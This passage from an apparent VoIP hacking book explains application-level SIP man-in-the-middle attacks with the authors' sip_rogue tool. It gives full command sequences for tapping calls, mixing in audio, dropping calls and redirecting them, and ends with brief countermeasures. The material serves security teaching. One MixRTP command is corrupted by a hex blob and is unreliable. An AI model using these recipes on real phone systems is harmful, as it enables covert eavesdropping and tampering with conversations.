Application-Level Interception Techniques

In addition to the lower-layer interception examples shown previously, you can also perform interception attacks at the application layer. In the previous ARP poisoning attacks, you were tricking a computer/IP phone through the networking layer into communicating with the attacker's IP address. Assuming a SIP deployment (although this is true for any VoIP deployment), with application-level interception, you are actually tricking the SIP phone, SIP proxy, and so on into communicating with what it thinks is a legitimate SIP endpoint. This attack requires the following steps:

1. Trick a SIP phone or SIP proxy into communicating with a rogue application. There are several ways to do this.

2. Provide a rogue application that can properly mimic the behavior of a SIP phone and/or SIP proxy.

Application-level interception attacks aren't necessarily any more likely to happen, but they are arguably more dangerous. The primary reason is that a rogue application that is sophisticated enough to mimic a SIP phone or SIP proxy, is processing SIP signaling and media, and is perfectly positioned to execute a variety of attacks. Said another way, if the rogue application is seeing and relaying all signaling and media, it can pretty much do anything it wants to this information.

The next two sections cover how you could insert a rogue application into a SIP network and then describe an application we've developed to demonstrate these sorts of attacks.

How to Insert Rogue Applications

There are several ways to insert a rogue application into a SIP deployment. Several of these are covered in more detail in other sections of the book. A quick overview is provided here:

• Network-level MITM attacks    Any of the attacks described earlier in this chapter can be used to trick a SIP phone or SIP proxy into communicating with a rogue application.

• Registration hijacking    All SIP phones register themselves with a SIP proxy, so it knows where to direct inbound calls. If you replace this registration with the address of a rogue application, inbound calls will be directed to the rogue application, rather than the legitimate SIP phone. For more information on registration hijacking, see Chapter 13.

• Redirection response attacks    If an attacker can reply to a SIP INVITE with certain responses, she can cause inbound calls to go to a rogue application rather than the legitimate SIP phone. For more information on redirection response attacks, see Chapter 13.

• SIP phone reconfiguration    If you know the password, can easily guess it, or have physical access to certain SIP phones, you can change the IP address it uses for the SIP proxy. In this way, when a user makes a call, it will communicate with the rogue application, rather than the legitimate proxy. For more information on how to exploit SIP phones and passwords, see Chapters 710.

• Physical access to the network    If you have physical access to the wire connecting a SIP endpoint to the network switch, you can insert a PC acting as an inline bridge. This allows MITM attacks.

Any of these attacks works equally well. Some may be easier to execute in one environment compared to another. The real trick is providing a rogue application that lets you perform some interesting attacks. We describe this application in the next section.

SIP Rogue Application

By tricking SIP proxies and SIP phones into talking to rogue applications, it is possible to view and modify both signaling and media. There are two types of applications that can be used to perform these MITM attacks:

• Rogue SIP Back-to-Back-User Agent (B2BUA)    A rogue application that performs like a user agent/SIP phone. This application can get between a SIP proxy and a SIP phone or two SIP phones.

• Rogue SIP proxy    A rogue application that performs like a SIP proxy. This application can get between a SIP proxy and a SIP phone or two SIP proxies.

A rogue SIP B2BUA will be "inline" on all signaling and media. This means that it not only sees all the signaling and media, but it is also in a position to modify it. When you are able to get a rogue SIP B2BUA in the middle of a call, you have total control over SIP calls and can do pretty much anything you want with it (based, of course, on the rogue B2BUA's capability). Figure 6-17 illustrates use of a rogue B2BUA to get in the middle of calls.

Figure 6-17: Rogue SIP B2BUA

A rogue SIP proxy is "inline" on all signaling exchanged with it. It has access to all signaling being exchanged between a user agent/SIP phone and a SIP proxy. In the worst case scenario, the rogue SIP proxy will be between two SIP proxies, meaning it sees all signaling between the two, which may represent a large amount of traffic. In this scenario, the rogue proxy may be in a position to affect thousands of calls. The rogue SIP proxy can drop calls, it can redirect calls, it can force media through a rogue SIP B2BUA to allow recording, and so on. Figure 6-18 illustrates the use of a rogue proxy to get in the middle of traffic to and from a SIP proxy.

Figure 6-18: Rogue SIP proxy

 Companion Web Site   We developed an application called sip_rogue that is able to behave like a rogue SIP B2BUA or SIP proxy. This application has several built-in functions that you can use for some simple attacks. We have also provided the source code on our website (http://www.hackingvoip.com/), so you can add your own updates. Note that this application has many additional features, including the ability to generate many calls, which are not needed in this chapter and, therefore, are not documented here. For more information on these features, refer to the README file that is provided on the website.

The sip_rogue application behaves like a SIP phone/B2BUA or SIP proxy, depending on how it is configured. To use this application, you execute it and use telnet to connect to it. To run it, simply type in the following:

 sip_rogue 

To configure this application, use the following command:

 telnet 6060 localhost (or the IP address if on a remote system) 

When you connect, you use a command-line interface to control the application. You define the behavior of the application by creating various objects that implement functions needed to operate as a rogue SIP B2BUA or SIP proxy. The objects created are part of a "connection." You can create multiple connections with each instance of the application. Connections are persistentthey continue to exist if you exit from the telnet session. For example, you could run the application and have one connection for a rogue SIP B2BUA and another for a rogue SIP proxy. You can use the following command to set the connection you are using:

Connection <ConnectionID>

Switches to the connection specified, if no user is already connected to that ID. You must be connected to a specific connection ID before you can create objects and issue many other commands. The connection IDs allow you to disconnect from and reconnect to the control port while leaving all your objects active. If the connection command is given with no parameters, it will return the current connection ID.

A few other useful high-level commands are

 Help 

Displays help text.

 Status 

Reports the general status of the application.

 Delete <objectname> 

Deletes an object.

 Exit 

Closes the client's socket connection.

 Quit 

Closes the client's socket connection.

 Shutdown 

Deletes all objects for all connections and exits the entire process.

When you run the application and establish a connection ID, you generally initialize several objects, based on what sort of attack you want to perform. The following commands are used to initialize the sip_rogue application, for both a SIP B2BUA and SIP proxy:

 Create SipUdpPort <Name> [Using <IP>:<Port>] 

Creates a new SIP UDP port with the given IP address and port for sending and receiving messages. The default IP address is the local IP address and the port is 5060.

 Create SipDispatcher <Name> [Using UDP Port <SipUdpPortName>] 

Creates a new dispatcher that will send and receive messages using the named SIP UDP port. If no SIP UDP port is named, the last created SIP UDP port will be used.

There are several commands you can now use to initialize the sip_rogue application to operate as a SIP B2BUA or SIP proxy. For a B2BUA, the following commands are used:

 Create SipRegistrarConnector <Name> [Using Dispatcher <SipDispatcher- Name>] to <IP>:<Port> With the Domain <Domain> 

Creates a new SIP registrar connection definition for use with future SIP endpoints. The <IP> and <Port> indicate how to contact the registrar, and the <Domain> is the domain to use when registering. If the dispatcher is not named, the last created dispatcher will be used.

 Create RtpHandler <Name> 

Creates a handler for RTP/RTCP streams.

 Create SipEndPoint <Name> [AKA <TextName>] [With RtpHandler  RtpHandlerName>] [With Dispatcher <SipDispatcherName>][With  RegistrarConnector <SipRegistrarConnectorName>] 

Creates a new SIP endpoint for receiving and p1lacing calls. Optionally, the endpoint can be given a text name to use in SIP named URIs. Also optionally , a named RTP handler, dispatcher, and registrar connector may be used. The registrar name may be "none," in which case any existing registrar connector is ignored. If the optional names are omitted, the last objects of those types created will be used.

Here is an example set of commands that initializes a rogue SIP B2BUA:

 sip_rogue telnet localhost 6060 Connection 0 create sipudpport port create sipdispatcher disp create sipregistrarconnector reg to 10.1.101.1:5060 with the domain 10.1.101.1 create rtphandler rtp create sipendpoint hacker 

To initialize the sip_rogue application as a SIP proxy, the following commands are used:

 Create SipRegistrar <Name> <Domain> [With Dispatcher <SipDispatcherName>] 

Creates a new SIP registrar server for accepting and resolving registrations for the given <Domain> . As registrations are made, SipProxyEndPoint objects will be created automatically.

 Create SipProxyEndPoint <Name> [AKA <TextName>] to <NamedUri> [With Dispatcher <SipDispatcherName>] [With RegistrarConnector <SipRegistrarConnectorName>] 

Creates a new SIP proxy endpoint for proxying transactions to the object name. Optionally, the endpoint can be given a text name to use in SIP-named URIs. Also optionally, a named dispatcher and registrar connector may be used. The registrar name may be "none," in which case any existing registrar connector is ignored. If the optional names are omitted, the last objects of those types created will be used.

Here is an example set of commands that initializes a rogue SIP proxy:

 sip_rogue telnet localhost 6060 connection 0 create sipudpport port create sipdispatcher disp create sipregistrar reg 10.1.101.1 

The next several sections provide examples on how to use the sip_rogue application for some simple attacks.

Attack Listening To/Recording Calls

Popularity:	4
Simplicity:	4
Impact:	9
Risk Rating:	5

One of the simplest and most useful attacks is to use the sip_rogue application to enable listening in on calls. To demonstrate this and a couple of other attacks, we set up a test bed with two SIP proxies, each of which served several SIP phones. Figure 6-19 illustrates this test bed.

Figure 6-19: SIP test bed

To perform this attack, you must first insert the sip_rogue application in the middle, through one of the attacks described earlier in "How to Insert Rogue Applications." For example, let's assume we hijack the registration for the SIP phone at address 10.1.101.35, extension 3500. The hijacked registration contact will be the hacker system at IP address 10.1.101.99, where we will be running the sip_rogue application. This causes inbound calls to the SIP phone at 10.1.101.35, extension 3500, to go to the hacker system.

Note that while we use registration hijacking as an example, you can also use other techniques to insert the sip_rogue application, including network-level MITM attacks, redirection response attacks, and physical network access attacks.

Now we need to run the sip_rogue application on the hacker system and cause it to relay calls to the originally intended recipient, the SIP phone at IP address 10.1.101.35, extension 3500. To perform this attack with the sip_rogue application, you need to use a couple of new commands, detailed here:

 Issue <sipEndPointName> accept calls [after ringing for <number>- <number> seconds] 

Causes the endpoint to answer any incoming calls. Optionally, the range for the number of seconds to remain in ringing mode may be specified. By default, the ringing time will be 25 seconds.

 Issue <sipEndPointName> Relay Calls to <NamedUri> [AKA <TextName>] 

For each incoming call accepted, an additional outgoing call to the <NamedUri> will be made, and the media for the two calls will be relayed to and from each other.

 Issue <sipEndPointName> Tap Calls to <NamedUri> [AKA <TextName>] 

For each incoming call accepted, an additional outgoing call to the <NamedUri> will be made, and the media for the first call will be copied to the second call.

These commands cause the sip_rogue application to accept calls and then when one is received, to relay the call to the specified recipient, which, in this case, will be extension 4000. The Tap command causes the media for the hijacked call to be relayed to another SIP phone, so an attacker can listen to it. Figure 6-20 illustrates this attack.

Figure 6-20: Using a rogue SIP B2BUA to tap a call

To summarize, the set of commands needed for this attack are

 sip_rogue telnet localhost 6060 Connection 0 create sipudpport port create sipdispatcher disp create sipregistrarconnector reg to 10.1.101.2:5060 with the domain  10.1.101.2 create rtphandler rtp create sipendpoint hacker issue hacker accept calls issue hacker relay calls to sip:3500@10.1.101.35 issue hacker tap calls to sip:4000@10.1.101.40 

Now, if you make a call, say from the SIP phone at extension 3000, as shown in Figure 6-20, the call will be relayed through the sip_rogue application running on the hacker system and sent to extension 3500. The parties at extensions 3000 and 3500 will have no indication that the hacker system is in the middle of the conversation. All media exchanged between the two extensions is also sent to extension 4000, where an attacker can listen in to the conversation. Note that no media from extension 4000 will be sent to either extension 3000 or 3500.

If you would like to record the signaling or media, it is all relayed through the hacker system. While the sip_rogue application does have the ability to record this information, it is just as easily recorded using Wireshark.

Replacing/Mixing Audio

Popularity:	8
Simplicity:	4
Impact:	8
Risk Rating:	7

You can also use the sip_rogue application to insert or mix in audio. When this application is in the middle of a call, it can drop legitimate packets and replace them with packets from a previously recorded call, inserting new words or sounds. It is also possible to "mix" audio, where the audio from each legitimate packet is mixed with the audio from another call. In this way, the target user will hear both the legitimate traffic, as well as other sounds, words, or noise. The attacker can vary the amplitude of the mixed audio, causing it to either "drown out" the legitimate audio or sound like something going on in the background. Imagine getting a call from a CEO, where the background noise indicates the call might be coming from a gentlemen's club. Of course, you can also just mix in "noise," creating the perception that the VoIP system is behaving poorly.

Note that the ability to insert or mix in audio is also available with a standalone tool described in Chapter 13. This standalone tool does not operate as an MITM attack, rather it needs to observe the target audio and will insert or mix in new audio. This is more complex for a standalone tool because it must "trick" the target into accepting the inserted/mixed audio rather than the legitimate audio that is still present. Because it is in the middle of the stream, the sip_rogue application doesn't have to worry about this; it simply discards the legitimate audio and generates the inserted or mixed audio. The standalone tool is arguably more nasty though, since it does not depend upon SIP signaling and operates in any VoIP environment where RTP is used.

The insertion/mixing function of the sip_rogue application only supports the G.711 codec and u-law (pronounced mu-law). This is by far the most common codec and u-law is used universally within the United States.

 Companion Web Site   The sip_rogue tool reads prerecorded audio from a .wav or TCP dump format file into memory before attempting to insert or mix that prerecorded audio into the targeted audio stream. The Ethernet, IP, and UDP layer protocol headers are stripped off each packet as it is loaded into memory. An arbitrary limit of 30 seconds of prerecorded audio is enforced. Audio in excess of a 30-second playback limit is ignored. A G.711 u-law codec audio stream of 30 seconds consumes approximately 252KB of memory (in other words, 30 sec * 50 RTP messages/sec * 172 bytes/message = 258,000 bytes). The prerecorded audio is memory resident to avoid incurring delays in reading it from a file. Note that we plan to support a .wav file in a future version, so keep an eye on the website at http://www.hackingvoip.com.

When mixing, the prerecorded audio is converted from 8-bit, nonlinear G.711 PCMU to 16-bit linear PCM when it is loaded into memory. A G.711 u-law datum cannot be added directly to another G.711 u-law datum. Each 8-bit, nonlinear G.711 u-law audio byte in the incoming RTP payload must be converted to a 16-bit linear PCM value first, and then added to the corresponding 16-bit linear PCM value of the prerecorded, preconverted audio, and finally transformed back into an 8-bit, G.711 u-law datum.

If you are mixing in the audio, you may want to tweak the amplitude, so the attack has the desired effect. For example, slot machine sounds from a casino would be loud, but cooing sounds from an extramarital partner might be softer. Mixed-in "noise" can be whatever amplitude suits your intention .

The sip_rogue application allows you to control which site of the conversation is affected. You can specify either side or both if you prefer. Keep in mind that if you target a single side, the other side will not be able to hear the attack (until the target starts complaining about the inserted/mixed audio).

The actual commands used to insert or mix in audio are as follows :

 Issue <sipEndPointName> InsertRTP to <NamedUri> <SoundFilename> Issue <sipEndPointName> MixRTP to <NamedUri> <SoundFilename> 

The two commands either insert or mix audio to the named URI target, using data from the specified .wav or TCP dump format file. Audio is only sent to the specified target.

If you would like to target both sides of the conversation, issue two commands with the two URIs. An example set of commands to mix in audio to one target is as follows:

 sip_rogue telnet localhost 6060 Connection 0 create sipudpport port create sipdispatcher disp create sipregistrarconnector reg to 10.1.101.2:5060 with the domain 10.1.101.2 create rtphandler rtp create sipendpoint hacker issue hacker accept calls issue hacker relay calls to sip:3500@10.1.101.35 issue hacker MixRTP to HYPERLINK  "mailto:3500@10.1.101.35" 00d0c9ea79f9bace118c 8200aa004ba90b02000000170000001100000033003500300030004000310030002e0031002e0031 00300031002e00330035000000e0c9ea79f9bace118c8200aa004ba90b300000006d00610069006c007 4006f003a0033003500300030004000310030002e0031002e003100300031002e003300350000003500 @10.1.101.35 audio_file 

There are many attacks you can perform using this capability. You can mix in embarrassing audio, insulting comments, or add noise or silence.

Attack Additional Attacks

Popularity:	8
Simplicity:	4
Impact:	8
Risk Rating:	7

The sip_rogue application can perform other sorts of attacks when configured as a SIP B2BUA. Refer to the README file supplied with the software on the website. There is also no end to the types of attacks you can add, if you are interested in modifying the software. A few examples of audio attacks include

• Monitoring for keywords, which could also be performed offline on recorded audio.

• Monitoring for DTMF, which may identify tones used to enter PINs or other key consumer information. Of course, this can also be done offl ine.

Examples of signaling attacks include

• Selectively dropping calls, based on caller, time of day, and so on

• Creating a database of a key user's calling patterns

• Monitoring signaling for passwords, keys, or other interesting data

Attack Dropping Calls with a Rogue SIP Proxy

Popularity:	6
Simplicity:	5
Impact:	6
Risk Rating:	5

If you configure the sip_rogue application as a SIP proxy and insert it in the signaling stream between a SIP phone and SIP proxy, or better yet, between two SIP proxies, you can affect all calls for which signaling is seen. You can then record signaling, redirect calls, selectively drop calls, and so on.

To demonstrate this attack, you can configure the sip_rogue application to drop all calls. To perform this attack, let's assume that you know the administrator password for one of the SIP phones, in this case extension 4500 (the Avaya 4602 phone). Use the password to modify the IP address of the SIP proxy used by the phone, to point to the hacker system at IP address 10.1.101.99 (changed from 10.1.101.2). This will cause the SIP phone to send all signaling to the rogue SIP proxy at that IP address.

Note that while we use phone manipulation as an example, you can also use other techniques to insert the sip_rogue application, including network-level MITM attacks and physical network access attacks.

Here are the commands needed to configure the sip_rogue application to behave as a rogue SIP proxy and drop all calls coming from the SIP phone:

 sip_rogue telnet localhost 6060 connection 0 create sipudpport port create sipdispatcher disp create sipregistrar reg 10.1.101.1 issue port hold 

Now reboot the SIP phone to force it to register with the sip_rogue application.

The last command causes all SIP messages to be "buffered" and not processed or relayed. The net result is that no SIP messages from the SIP phone are processed and all attempted calls will be dropped. You could perform a similar attack between SIP proxies, causing an even greater impact.

Attack Randomly Redirect Calls with a Rogue SIP Proxy

Popularity:	6
Simplicity:	5
Impact:	7
Risk Rating:	6

You can also configure the sip_rogue application to randomly redirect calls. In this mode, it will change the destination of any received call to one randomly selected from its list of registered SIP phones. To perform this attack, first modify the IP address of the SIP proxy for all SIP phones registered to the SIP proxy. Change the IP address from 10.1.101.2 to 10.1.101.99. To cause the sip_rogue application to randomly redirect calls, use the following commands:

 sip_rogue telnet localhost 6060 connection 0 create sipudpport port create sipdispatcher disp create sipregistrar reg 10.1.101.1 issue reg randomize 

Now reboot the SIP phones to force each to register with the sip_rogue application.

After the SIP phones register with the sip_rogue application, try to make calls between the SIP phones. The destinations for each call will be randomized. You may even get a busy tone if the random destination selected is the calling SIP phone itself.

Attack Additional Attacks with a Rogue SIP Proxy

Popularity:	6
Simplicity:	2
Impact:	10
Risk Rating:	6

The sip_rogue application can perform other sorts of attacks, when configured as a rogue SIP proxy. Refer to the README file supplied with the software on the website. There is also no end to the types of attacks you can add, if you are interested in modifying the software. A few examples of signaling attacks include

• Sending all calls through a rogue B2BUA so you can capture/manipulate the audio

• Negotiating not using media encryption

• Selectively dropping calls, based on caller, time of day, and so on

• Creating a database of a key user's calling patterns

• Monitoring signaling for passwords, keys, or other interesting data

Impact and Probability of Occurrence

These attacks can be used to record and/or disrupt calls in your enterprise. Depending on which attack is used, it could affect a single user or many users. An attack that allows recording or disruption of a key user's calls, such as an executive, can have serious effects. Some of these attacks can be used to disrupt calls for many users, which could have a very serious impact, especially if it affects customer- facing users. These types of attacks form the foundation of attacks where the media could be modified, changing the content of a conversation, which as you can imagine, would have disastrous effects.

For these attacks to take place, the attacker needs access to your internal network. Of course, as we saw in Chapter 1 with Google hacking, some VoIP devices are mistakenly accessible from the Internet. This can also occur if an attacker gains access to the internal network through another means, such as physical access. In this chapter, several methods are discussed for inserting a rogue application into a SIP deployment; the likelihood of success for each technique depends on your SIP deployment and what steps have been taken to secure it.

These attacks will also be possible from outside your network when you connect it to a public network via SIP trunks.

Countermeasurs Countermeasures to Application-Level Interception Techniques

The primary countermeasures against application-level interception are to prevent the various techniques used to insert a rogue application in the middle of SIP communications. For more information on how to prevent against attacks such as registration hijacking, password guessing, and so on, refer to the Countermeasures sections of Chapters 12 and 13.